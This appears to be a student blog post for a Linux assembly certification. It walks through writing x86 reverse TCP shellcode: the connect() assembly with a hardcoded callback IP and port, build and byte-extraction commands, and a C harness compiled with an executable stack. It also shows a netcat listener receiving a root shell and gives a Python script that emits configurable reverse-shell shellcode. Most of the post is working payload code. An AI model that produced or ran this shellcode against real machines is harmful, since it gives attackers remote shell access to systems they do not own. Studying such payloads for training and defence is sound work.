Assembly Language and Shellcoding on Linux - Part 3 (Assignment 2)

Reverse TCP Shellcode

Assignment 2

For this assignment we need to create shellcode that will create a Reverse TCP connection. This is a technique that will callback to our target machine, and in this case will provide a shell when it's connected. This is normally used to bypass firewalls that may be blocking inbound connections as the target machine initiates the outbound connection.

For the purpose of our assignment the IP address and port number should be easily configurable.

The Assembly

I've already gone over the techniques for creating shellcode friendly assembly in part 2 of this series so we will just focus on the actual coding this time.

Overview

The steps involved are going to be very similar to the Bind TCP shellcode. Instead of using bind(), listen() and accept() we will use connect()

Our code will need to do the following steps:

  1. Create a socket
  2. Connect to our receiving machine
  3. Proxy STDIN/STDOUT/STDERR through the connection
  4. Run /bin/sh using execve
Socket

This call remains the same as our bind shell.

Connect

For the connect() call let's check the man pages to see what we need to do
http://man7.org/linux/man-pages/man2/connect.2.html
So we have our function definition of:

int connect(int sockfd, const struct sockaddr *addr,  
                   socklen_t addrlen);

So we need to set up the struct for sockaddr, this has the following structure:

{sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.213.130")}

We know from the Bind Shell that AF_INET is enum value 2
We know the port number is network byte order so 4444 would be 0x5C11
Last is the IP address. To make the IP address into a DWORD that we can use we break it up into it's four sections and convert each section to it's hexadecimal equivalent:

192 = C0
168 = A8
213 = D5
130 = 82

That gives the DWORD of our IP address 0xC0A8D582, when we push this onto the stack though it's going to need to be in reverse order so 0x82D5A8C0.
So the assembly to set up our struct is as follows:

    mov edx, eax        ; Move the sockfd into edx
    xor eax, eax        ; Zero out eax
    mov ebx, eax        ; Zero out ebx
    mov al, 0x66        ; Set eax to 102 (Socketcall)
    mov bl, 0x3         ; Set ebx to 3 (Connect)
    push dword 0x82d5a8c0   ; Push IP onto stack
    push word 0x5c11    ; Push our port on to the stack
    push word 0x2       ; Push 2 (AF_INET) onto the stack
    mov ecx, esp        ; Save the esp address into ecx
    push 0x10           ; push 16 onto the stack (length of args)
    push ecx            ; push the esp address we saved earlier onto the stack
    push edx            ; push the sockfd address onto the stack
    mov ecx, esp        ; Save the new stack address pointer into ecx
    int 0x80            ; Make the syscall 
Dup

Our dup2 loop remains the same as the Bind Shellcode

Execve

Our execve remains the same as the Bind Shellcode

The code in full

The full code is available on my github page.
https://github.com/DeathsPirate/SLAE/

Testing

Let's now compile the code and test it works.
To compile we use this command:
nasm -f elf tcp_reverse_shell.nasm
And then link it using:
ld -melf_i386 tcp_reverse_shell.o -o tcp_reverse_shell
Next we extract the shell code using the following:

for i in `objdump -D ./tcp_reverse_shell | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" ; done  

We can then put the shellcode into a C script to test it

#include<stdio.h>
#include<string.h>

unsigned char code[] = "SHELLCODE GOES HERE!";

main()  
{
  printf("Shellcode Length:  %d\n", strlen(code));
  int (*ret)() = (int(*)())code;
  ret();
}

Compile that with

gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode  

Before we run it we need to set up a listener to await a connection, we can do this with netcat by running nc -l -p 4444 the -l sets up netcat in listening mode and the -p specifies the port to listen on.
All we do then is run the shellcode and then check the connection is established in netcat.

$nc -l -p 4444
whoami  
root  

Result :)

Finishing it off

The last part of our assignment was to make the port number and IP address configurable. To do this we will create a wrapper in python.

The code for this is:

#!/usr/bin/python
import struct, argparse

parser = argparse.ArgumentParser(description='Create Linux x86 TCP Reverse Shellcode.')  
parser.add_argument('-a', type=str, required=True,  
                   help='IP address to connect to')
parser.add_argument('-p', type=int, default="4444",  
                   help='Port number to connect on')
args = parser.parse_args()

port = args.p  
ip = [int(i) for i in args.a.split(".")]


shellcode = ("\x31\xc0\x89\xc3\x50\xb0\x66\xb3\x01\x6a\x01\x6a\x02"  
             "\x89\xe1\xcd\x80\x89\xc2\x31\xc0\x89\xc3\xb0\x66\xb3"
             "\x03\x68" +
             struct.pack("!4B",ip[0],ip[1],ip[2],ip[3]) +
             "\x66\x68" +
             struct.pack("!H",port) +
             "\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52\x89\xe1\xcd\x80"
             "\x89\xd3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9"
             "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
             "\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80")

print '"' + ''.join('\\x%02x' % ord(c) for c in shellcode) + '";'  
if "\x00" in shellcode:  
    print "Warning: Shellcode contains null bytes"

To use the script simply run it on its own with ./tcp_reverse_shell.py -a <ipaddress>
This will create the shellcode with a default port of 4444
or you can specify the port using the -p parameter like so:
./tcp_reverse_shell.py -a <IP Address> -p <port number>


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-734